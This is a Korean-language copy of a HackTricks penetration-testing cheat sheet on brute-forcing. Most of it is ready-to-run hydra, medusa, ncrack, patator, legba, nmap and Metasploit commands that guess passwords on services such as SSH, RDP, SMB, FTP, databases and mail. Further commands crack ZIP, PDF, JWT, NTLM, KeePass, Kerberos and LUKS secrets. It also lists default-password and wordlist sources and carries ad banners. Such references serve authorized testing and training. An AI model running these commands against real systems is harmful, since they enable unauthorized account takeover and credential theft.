45 KiB
브루트 포스 - 치트 시트
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터** 🐦 @hacktricks_live를 팔로우하세요.
- 해킹 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
기본 자격 증명
사용 중인 기술의 기본 자격 증명을 검색하거나 다음 링크를 시도하세요:
- https://github.com/ihebski/DefaultCreds-cheat-sheet
- http://www.phenoelit.org/dpl/dpl.html
- http://www.vulnerabilityassessment.co.uk/passwordsC.htm
- https://192-168-1-1ip.mobi/default-router-passwords-list/
- https://datarecovery.com/rd/default-passwords/
- https://bizuns.com/default-passwords-list
- https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv
- https://github.com/Dormidera/WordList-Compendium
- https://www.cirt.net/passwords
- http://www.passwordsdatabase.com/
- https://many-passwords.github.io/
- https://theinfocentric.com/
사용자 정의 사전 만들기
대상에 대한 정보를 최대한 찾아서 사용자 정의 사전을 생성하세요. 도움이 될 수 있는 도구:
Crunch
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
Cewl
Cewl은 웹 사이트에서 단어 목록을 생성하는 데 사용되는 도구입니다. 일반적으로 웹 사이트의 텍스트를 스크랩하고 공격자가 나중에 암호 크래킹 또는 사전 공격에 사용할 수 있는 단어 목록을 만들기 위해 사용됩니다.
cewl example.com -m 5 -w words.txt
CUPP
피해자에 대한 지식(이름, 날짜 등)을 기반으로 암호를 생성합니다.
python3 cupp.py -h
Wister
특정 대상과 관련된 사용하기 적합한 고유한 워드리스트를 생성할 수 있도록 주어진 단어들로 여러 가지 변형을 만들어주는 워드리스트 생성 도구입니다.
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
__ _______ _____ _______ ______ _____
\ \ / /_ _|/ ____|__ __| ____| __ \
\ \ /\ / / | | | (___ | | | |__ | |__) |
\ \/ \/ / | | \___ \ | | | __| | _ /
\ /\ / _| |_ ____) | | | | |____| | \ \
\/ \/ |_____|_____/ |_| |______|_| \_\
Version 1.0.3 Cycurity
Generating wordlist...
[########################################] 100%
Generated 67885 lines.
Finished in 0.920s.
pydictor
워드리스트
- https://github.com/danielmiessler/SecLists
- https://github.com/Dormidera/WordList-Compendium
- https://github.com/kaonashi-passwords/Kaonashi
- https://github.com/google/fuzzing/tree/master/dictionaries
- https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
- https://weakpass.com/wordlist/
- https://wordlists.assetnote.io/
- https://github.com/fssecur3/fuzzlists
- https://hashkiller.io/listmanager
- https://github.com/Karanxa/Bug-Bounty-Wordlists
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축 및 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
서비스
서비스 이름을 알파벳 순으로 정렬했습니다.
AFP
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run
AJP
AJP (Apache JServ Protocol) is a binary protocol that can be used to communicate with a web server. It is often used to connect web servers with servlet containers, such as Apache Tomcat. A common attack vector against AJP is credential brute-forcing, where an attacker tries to guess usernames and passwords to gain unauthorized access to the server. It is important to use strong and unique credentials to prevent successful brute-force attacks.
nmap --script ajp-brute -p 8009 <IP>
AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
카산드라
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
CouchDB
CouchDB
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
도커 레지스트리
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
Elasticsearch
엘라스틱서치
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
FTP
FTP는 파일 전송 프로토콜을 나타냅니다. 호스트에 대한 액세스를 얻기 위해 무차별 대입 공격을 수행할 때 사용할 수 있습니다. 일반적으로 사용자 이름과 비밀번호를 대입하여 시도하며, 성공할 경우 파일 시스템에 액세스할 수 있습니다.
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
HTTP 일반 무차별 대입
WFuzz
HTTP 기본 인증
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
HTTP - NTLM
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
HTTP - 포스트 폼
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
HTTP - CMS -- (W)ordpress, (J)oomla 또는 (D)rupal 또는 (M)oodle
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
IMAP
IMAP은 전자 메일을 관리하기 위한 프로토콜입니다. IMAP 브루트 포스는 사용자의 이메일 계정에 대한 암호를 찾기 위해 다양한 암호를 시도하는 공격 기술입니다. 이를 통해 해커는 암호를 추측하여 액세스할 수 있습니다.
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993
IRC
IRC (Internet Relay Chat)는 인터넷 상에서 실시간으로 대화를 나누는 데 사용되는 프로토콜입니다. 대부분의 IRC 서버는 비밀번호를 요구하지 않기 때문에 브루트 포스 공격에 취약할 수 있습니다. 가능한 모든 비밀번호를 시도하여 액세스를 얻으려고 시도하는 것이 일반적입니다.
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
ISCSI
ISCSI
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
JWT
JWT는 JSON Web Token의 약자로, 웹 토큰을 나타냅니다. 이는 클라이언트와 서버 간에 정보를 안전하게 전달하기 위한 표준 방법 중 하나입니다. JWT는 페이로드에 대한 서명을 포함하고 있어 변조를 방지할 수 있습니다.
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
LDAP
LDAP은 Lightweight Directory Access Protocol의 약자로, 네트워크 디렉터리 서비스를 사용하기 위한 프로토콜입니다. LDAP 서버에 대한 브루트 포스 공격은 일반적으로 사용자 자격 증명을 추측하기 위해 많은 시도를 하는 것을 의미합니다. LDAP 브루트 포스는 흔히 사용자 이름과 비밀번호를 찾기 위해 사용됩니다.
nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
MQTT
MQTT
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
몽고DB
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
MSSQL
MSSQL
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
MySQL
MySQL
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
OracleSQL
오라클 데이터베이스에 대한 무차별 대입 공격은 일반적으로 다음과 같은 방법으로 수행됩니다.
- 사전 공격: 가장 일반적인 방법으로, 미리 정의된 단어 목록(사전)을 사용하여 비밀번호를 대입합니다.
- 숫자 대입: 모든 가능한 숫자 조합을 시도하여 비밀번호를 찾습니다.
- 알파벳 대입: 모든 가능한 알파벳 조합을 시도하여 비밀번호를 찾습니다.
- 기호 대입: 특수 문자 및 기호를 사용하여 비밀번호를 찾습니다.
- 하이브리드 대입: 알파벳, 숫자, 기호를 혼합하여 대입합니다.
이러한 방법 중 하나 또는 여러 가지를 조합하여 공격자는 오라클 데이터베이스에 대한 액세스를 시도할 수 있습니다.
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
oracle_login을 patator와 함께 사용하려면 다음을 설치해야 합니다:
pip3 install cx_Oracle --upgrade
오프라인 OracleSQL 해시 브루트포스 (버전 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, 그리고 11.2.0.3):
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
POP
POP
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110
# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
PostgreSQL
포스트그레SQL(PostgreSQL)은 오픈 소스 객체-관계형 데이터베이스 시스템입니다.
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
PPTP
.deb
패키지를 설치하기 위해 https://http.kali.org/pool/main/t/thc-pptp-bruter/에서 다운로드할 수 있습니다.
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
RDP
원격 데스크톱 프로토콜(Remote Desktop Protocol)은 Microsoft Windows 운영 체제에서 원격 데스크톱 서비스를 제공하는 데 사용되는 프로토콜입니다. RDP 브루트 포스 공격은 암호를 추측하여 RDP 서버에 대한 액세스를 시도하는 공격 기술입니다.
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
Redis
레디스
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
Rexec
Rexec
Rexec는 원격 실행 서비스를 사용하여 사용자가 원격 시스템에서 명령을 실행할 수 있도록 하는 프로토콜입니다. Rexec 서비스는 일반적으로 TCP 포트 512에서 실행됩니다. Brute force 공격은 Rexec 서비스에 대한 암호를 찾기 위해 사용될 수 있습니다.
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
Rlogin
Rlogin은 원격 로그인 프로토콜로, 사용자 이름과 비밀번호를 사용하여 원격 시스템에 로그인하는 데 사용됩니다. Brute force 공격은 일반적으로 사전 목록에서 사용자 이름과 비밀번호를 반복적으로 시도하여 액세스를 시도하는 방법으로 Rlogin 계정을 공격하는 데 사용될 수 있습니다.
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
Rsh
Rsh (Remote Shell) is a simple remote shell client included in Unix operating systems. It can be used to execute commands on a remote system. Rsh is often targeted during brute-force attacks due to its weak authentication mechanism.
hydra -L <Username_list> rsh://<Victim_IP> -v -V
http://pentestmonkey.net/tools/misc/rsh-grind
Rsync
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
RTSP
RTSP (Real Time Streaming Protocol)는 네트워크를 통해 미디어를 전송하기 위한 제어 프로토콜입니다. RTSP는 미디어 스트리밍 서버와 클라이언트 간의 통신을 관리하며, 미디어 스트리밍을 제어하고 동기화하는 데 사용됩니다. RTSP는 TCP를 사용하며, 일반적으로 554번 포트를 통해 통신합니다.
hydra -l root -P passwords.txt <IP> rtsp
SFTP
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
SNMP
SNMP(Simple Network Management Protocol)은 네트워크 장비 및 서버에서 정보를 수집하는 데 사용되는 프로토콜입니다. SNMP 커뮤니티스트링을 브루트 포스 공격하여 SNMP 장비에 액세스할 수 있습니다.
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
SMB
SMB은 Windows 운영 체제에서 파일 및 프린터 공유를 위한 프로토콜입니다. SMB 버전 1은 보안 취약점으로 악용될 수 있으므로, 브루트 포스 공격을 통해 사용자 자격 증명을 얻을 수 있습니다.
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
SMTP
SMTP(Simple Mail Transfer Protocol)는 전자 메일을 전송하는 데 사용되는 프로토콜입니다. 호스트 간 통신을 위해 TCP 포트 25를 사용합니다. Brute force는 SMTP 서버에 대한 암호를 찾기 위해 일반적으로 사용되는 기술 중 하나입니다.
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
SOCKS
SOCKS
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
SQL Server
SQL Server는 Microsoft에서 개발한 관계형 데이터베이스 관리 시스템입니다. SQL Server에 대한 브루트 포스 공격은 사용자 이름과 비밀번호를 찾기 위해 가능한 모든 조합을 시도하는 공격입니다. 이는 보안 취약점을 악용하여 시스템에 무단으로 액세스하려는 공격자들에 의해 시도될 수 있습니다.
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
SSH
SSH는 Secure Shell의 약자로, 네트워크 프로토콜을 통해 안전하게 통신할 수 있도록 해주는 프로토콜입니다. SSH 브루트 포스는 SSH 서버에 대한 암호를 찾기 위해 모든 가능한 암호를 시도하는 공격 기술입니다. 이는 비밀번호를 추측하여 무단으로 시스템에 액세스하려는 악의적인 공격자에 의해 사용될 수 있습니다. SSH 브루트 포스 공격을 방지하기 위해 강력한 암호 정책을 시행하고, 공격 감지 시스템을 구축하여 이러한 시도를 모니터링하는 것이 중요합니다.
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
약한 SSH 키 / Debian 예측 가능 PRNG
일부 시스템에는 암호화 자료를 생성하는 데 사용된 난수 시드에 알려진 결함이 있습니다. 이는 키 공간이 크게 축소되어 snowdroppe/ssh-keybrute와 같은 도구를 사용하여 무차별 대입할 수 있습니다. 또한 g0tmi1k/debian-ssh와 같이 약한 키의 사전 생성 세트도 사용할 수 있습니다.
STOMP (ActiveMQ, RabbitMQ, HornetQ 및 OpenMQ)
STOMP 텍스트 프로토콜은 RabbitMQ, ActiveMQ, HornetQ 및 OpenMQ와 같은 인기있는 메시지 큐 서비스와의 원활한 통신 및 상호 작용을 허용하는 널리 사용되는 메시징 프로토콜입니다. 이는 메시지를 교환하고 다양한 메시징 작업을 수행하는 표준화된 효율적인 접근 방식을 제공합니다.
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
텔넷
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
VNC
VNC
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
legba vnc --target localhost:5901 --password data/passwords.txt
#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
Winrm
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
로컬
온라인 해독 데이터베이스
http://hashtoolkit.com/reverse-hash?(MD5 및 SHA1)- https://shuck.sh/get-shucking.php (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP 및 임의의 challenge 값)
- https://www.onlinehashcrack.com/ (해시, WPA2 캡처 및 아카이브 MSOffice, ZIP, PDF...)
- https://crackstation.net/ (해시)
- https://md5decrypt.net/ (MD5)
- https://gpuhash.me/ (해시 및 파일 해시)
- https://hashes.org/search.php (해시)
- https://www.cmd5.org/ (해시)
- https://hashkiller.co.uk/Cracker (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
- https://www.md5online.org/md5-decrypt.html (MD5)
- http://reverse-hash-lookup.online-domain-tools.com/
해시를 무차별 대입하기 전에 이것을 확인하세요.
ZIP
#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
zip2john file.zip > zip.john
john zip.john
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
알려진 평문 zip 공격
암호화된 zip 파일 내부에 포함된 파일의 평문 (또는 일부 평문)을 알아야 합니다. 암호화된 zip 파일 내부에 포함된 파일의 파일 이름 및 파일 크기를 확인하려면 **7z l encrypted.zip
**을 실행할 수 있습니다. bkcrack을 릴리스 페이지에서 다운로드하세요.
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password
7z
7z
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
PDF (Portable Document Format) is a file format used to present and exchange documents reliably, independent of software, hardware, or operating system. PDF files can contain text, images, hyperlinks, buttons, form fields, videos, and more. PDF files can be password-protected to restrict access to their content.
Brute Force Attack
A brute force attack is a trial-and-error method used to obtain information such as a user password or personal identification number (PIN). In a brute force attack, automated software is used to generate a large number of consecutive guesses as to the value of the desired data. This method is effective because many people use weak passwords that can be easily guessed.
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
PDF 소유자 암호
PDF 소유자 암호를 해독하려면 다음을 확인하십시오: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/
JWT
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
NTLM 크래킹
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
Keepass
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Keberoasting
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Lucks 이미지
방법 1
설치: https://github.com/glv2/bruteforce-luks
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
방법 2
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
다른 Luks BF 튜토리얼: http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1
Mysql
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
PGP/GPG 개인 키
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
Cisco
DPAPI Master Key
https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py를 사용한 다음 john을 사용합니다.
Open Office Pwd Protected Column
만약 비밀번호로 보호된 열이 있는 xlsx 파일이 있다면 다음을 수행할 수 있습니다:
- Google 드라이브에 업로드하면 비밀번호가 자동으로 제거됩니다.
- 수동으로 제거하려면:
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
